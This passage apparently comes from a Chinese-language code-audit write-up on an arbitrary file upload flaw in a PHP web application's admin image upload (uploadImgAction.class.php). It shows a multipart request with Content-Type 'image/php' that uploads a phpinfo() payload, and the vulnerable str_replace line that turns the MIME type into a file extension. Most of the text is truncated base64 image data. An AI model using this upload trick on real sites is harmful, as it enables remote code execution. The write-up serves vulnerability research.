<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>image</span><span class=o>/</span><span class=n>php</span>
<span class=o>&lt;</span><span class=err>?</span><span class=n>php</span> <span class=n>phpinfo</span><span class=p>();</span> <span class=err>?</span><span class=o>&gt;</span>
<span class=o>-----------------------------</span><span class=mi>3521672959703348041050404464</span><span class=o>--</span>
</pre></div>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141505-0b9c0048-d793-1.png><img src="data:image/png;base64,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 truncated
<p>访问</p>
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141410-eadbf5e8-d792-1.png><img src="data:image/png;base64,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2YzD4cDv9wOMSOGv4fP5hr9fwGnYsmULGzZs4IknnvhMVUB//PHH/PznP+ell17qdR+n08mXvvQlfvjDH3LBBRd0bk9KSuKnP/0pP/rRj0ZiqNKutyr+aDSKYRikpaWNyrja2tr4y1/+QmlpKS0tLT3uk5GRwUUXXcRll11GamrqyA5Q5AyMRiV/BwX9IiIiIiIiIiIiInI22L59O+vXrycjI4OvfvWrnHvuuaM9pCG1adMmysrKKCoqYvny5aM9HNra2ojFYphMJgzD6PIGQxv+j8lK/nXr1vHtb3+bq6666jMV8H/729/md7/7HQ6Hg1tuuYUbbriBnJwcxo8fT1ZWFkeOHOHw4cNs2rSJdevWUVxczFVXXcXTTz/N+PHjAYhEIqP8LIbGu+++y7PPPst7771HTU0NycnJ5OTkUFRUxA9/+EOmTZs22kPsU0fwb7fbR/yxw+Ewf/rTn3jjjTewWq3MnTuX3Nxcpk6d2lm5X11dzeHDhzl8+DB/+ctfeO2117j88su5+uqrMZvNIz5mkbOJKvpFRERERERERERE5GywaNEikpKS2LhxI//xH//BZZddxpVXXjnawxoSR44cYevWrWRkZPDmm28yb968Ue92brPZCAQCw9Kev7sxV8n/m9/8hrvuuou/+Zu/4dlnn8ViGZPzEIZUTU0N119/Pfv27eP+++/nm9/85oCqv3/yk5/wq1/9ivz8fDZt2sSsWbP4yU9+wn333TcCox4eVVVV3Hnnnbz++uukp6czf/58zjvvPOrq6igvL6eyshLDMLjnnnv46U9/OtrDBU5W8ANEo9EuH490FX9rayuPP/44NTU1zJkzh29+85v9hpFNTU2sXbuWvXv3MnPmTL7zne+oql/GvNGs5O+goF9ERERERERERERERls0GmX37t18/vOf7zVYDgaDPP/88+zdu5eioiJWrVo1wqMcemvXrmX//v3cfffd/OpXv2LWrFnccsstozqmWCyGy+UC6Kzg71jSO7GifyiM7kLh3fz4xz/m7//+71mzZg1r1679TAT8LS0tLFu2DLfbzbZt27jzzjsHHAz/y7/8C+vWraOyspLLL798mEc6/D766CMKCwt56623eOCBBzh69CibN2/moYceYu3atXz44Yfs2rWL888/nwceeIA77rhjtIfcGeYnvt8R8ttsthEdi9fr5d/+7d9oaGjg1ltv5Qc/+MGAQsjMzEx+8IMfcMstt3D8+HEeeughvF7v8A9Y5CzX4zIYvg9Z+0/3cM/Dm6gd8RGJyOmqfeVB7rnnQV7RC1dERERERERERM4y7733Hs8//zxlZWVdtvv9fp577jkOHjyIzWbjG9/4BgUFBZSWllJSUjJKox0adXV17Nmzh4svvphx48ZxySWXUFFRQV1d3aiOyzAMrFZrj/lh9/fP1JhI0aPRKHfccQe///3v+dnPfsYPf/jD0R7SiLnttttwOBy88847OJ3OQR+/atUqXnzxRa6//vphGN3IaW5u5itf+QopKSls27aN/Pz8Hvc755xzeOutt7jnnnt44oknKCws5Lbbbhvh0fYuMegfyUkq4XCYxx57jIaGBv7hH/6Bc845Z9DnWLx4MdnZ2Tz88MP8+7//O3ffffcotO73s/e3a7jx+w7ub3mSa3v6/Av3c++TL1P61j7qgImzr2T59+/lwTVLmJSw58trDFY91c/D3bGB2JOnPkqiQy/fy/cffIGtZdW0jptO4fLv8+Aj32fJpD4PG7LjO/j3/pY1N34fx/0t9DPkk0L1lK5fx5aKY7jDgCWFyXOXcfN1RWT3UARfv30d6zZVcCy+MynTCrn+1quZ3UNjB9e+Tby4sZTKBj8Ajqx8ilZez4qed2bTixsprWzAH9+ZghW3cHNRNv3V4jdtephfbIUl99zNisztPHPPeirzr+MfrpkxwIswvFpaWkiPvsvD8UFy95LRHtFYVsHanzxHZf4t/Mutc0/5bKi+hGef2Ihl5S+4fVHiZ9q/7v2cPf+6bsfVb2fduk1UHHMTv/2nUXj9rVzdwz0aqi9l/botA9q3496vavAThn5fV+0HdX0NYCElfyXfub2IzB4PCFFf8ixPbLSw8he3s6jHfbqOp+O1iCWF/JXf4fains8MLva99BTPVuZz571Xk9PTow/ienSOt3Q967Z0fP8AHFksvv1urs7te7yOrAJW3HIzRb1evPbzD/B6iIiIiIiIiIiIfNa8++67AJSWllJUVNS5PRAIcPDgQfbs2cPVV1/NxRdfzE033cTjjz/O5s2b+fznP8+4ceNGa9hnZMuWLVgsFi699FIALrnkEt5++23+8pe/cPPNN4/q2KxW64i07B/1kD8QCHDzzTezadMm/u///b98/etfH+0hjZjnn3+eTZs2sWXLlkEF/C+++CKVlV3jjkWLFrF9+/ahHuKI+eUvf0l9fT0vv/xyrwF/B7PZzEMPPcR7Line truncated
<h3 id=toc-2>后台文件上传</h3>
<p>通过审计我们发现触发文件上传的点是因为存在str_replace函数那么利用审计工具查看是否还有其他地方存在该漏洞点</p>
<div class=highlight><pre><span></span><span class=n>str_replace</span><span class=p>(</span><span class=s1>'image/'</span><span class=p>,</span> <span class=s1>'.'</span><span class=p>,</span> <span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'file'</span><span class=p>][</span><span class=s1>'type'</span><span class=p>]);</span>
</pre></div>
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141545-237e402c-d793-1.png><img src="data:image/png;base64,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 truncated
<p>审计/webapp/modules/extension/actions/uploadImgAction.class.php</p>
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240303141551-7c46ed92-d925-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABGUAAAH/CAYAAAD+L2DcAAEAAElEQVR4nOz9d5gc13mgi7+VOueenDNmgMEgDXImCRAgQYJZFJUpK1nWOu3a3ru/vXez997rXfvn9Vq2rByoSJGimAOInHOYGWAwOcfOubvq/tGDQR4EggAl1vs8I4HddUJVnf7OOd/5glA7a7bGXSCdSqFpd6UpHR2d32FUVb3XXdDR0dHR0dHR0dHR+ZhjNBpBED70dmSDwfChN3KBu9mWjo7O7ybRSIRMJnOvu6Gjo6Ojo6Ojo6Oj8zFGMRgQ7oJSRvzQW9DR0dHR0dHR0dHR0dHR0dHRuQr5el8Iggi3qhTSsv+juynp6Ojo6Ojo6Ojo6Ojo6OjozMxVShlFUfB4c7FabbdlqpNMJvBNThAOh+5IB3V0dHR0dHR0dHR0dHR0dHR+H7lMKSNJEoWFJSgfIPaLwWAkL78QQFfM6Ojo6Ojo6Ojo6Ojo6Ojo6FyHy2LK2B3OD6SQuYAgCLg93rsSFEdHR0dHR0dHR0dHR0dHR0fnd5HLLGWsFuudq1h